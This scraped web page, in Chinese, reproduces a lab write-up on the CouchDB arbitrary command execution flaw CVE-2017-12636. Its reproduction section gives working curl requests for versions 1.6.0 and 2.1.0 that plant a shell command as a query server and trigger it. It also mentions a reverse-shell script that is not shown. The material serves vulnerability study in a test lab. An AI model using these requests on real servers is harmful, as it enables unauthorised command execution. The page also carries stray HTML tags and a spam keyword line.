<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Couchdb 任意命令執行漏洞(CVE-2017-12636)

    Path couchdb/CVE-2017-12636
    Apache CouchDB是一個開源數據庫,專注于易用性和成為”完全擁抱web的數據庫”。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。

    在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意命令執行漏洞,我們可以通過config api修改couchdb的配置query_server,這個配置項在設計、執行view的時候將被運行。

    影響版本:小于 1.7.0 以及 小于 2.1.1

    參考鏈接:

    測試環境

    Couchdb 2.x和和1.x的API接口有一定區別,所以這個漏洞的利用方式也不同。本環境啟動的是1.6.0版本,如果你想測試2.1.0版本,可以啟動CVE-2017-12635附帶的環境。

    執行如下命令啟動Couchdb 1.6.0環境:

    docker-compose up -d

    啟動完成后,訪問http://your-ip:5984/即可看到Couchdb的歡迎頁面。

    漏洞復現

    該漏洞是需要登錄用戶方可觸發,如果不知道目標管理員密碼,可以利用CVE-2017-12635先增加一個管理員用戶。

    1.6.0 下的說明

    依次執行如下請求即可觸發任意命令執行:

    curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
    curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
    curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
    curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

    其中,vulhub:vulhub為管理員賬號密碼。

    第一個請求是添加一個名字為cmdquery_servers,其值為"id >/tmp/success",這就是我們后面待執行的命令。

    第二、三個請求是添加一個Database和Document,這里添加了后面才能查詢。

    第四個請求就是在這個Database里進行查詢,因為我將language設置為cmd,這里就會用到我第一步里添加的名為cmdquery_servers,最后觸發命令執行。

    2.1.0 下的說明

    2.1.0中修改了我上面用到的兩個API,這里需要詳細說明一下。

    Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。這個其實也簡單,我們帶上賬號密碼訪問/_membership即可:

    curl http://vulhub:vulhub@your-ip:5984/_membership

    可見,我們這里只有一個node,名字是nonode@nohost

    然后,我們修改nonode@nohost的配置:

    curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

    然后,與1.6.0的利用方式相同,我們先增加一個Database和一個Document:

    curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
    curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

    Couchdb 2.x刪除了_temp_view,所以我們為了觸發query_servers中定義的命令,需要添加一個_view

    curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

    增加_view的同時即觸發了query_servers中的命令。

    利用腳本

    寫了一個簡單的腳本 exp.py,修改其中的target和command為你的測試機器,然后修改version為對應的Couchdb版本(1或2),成功反彈shell:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类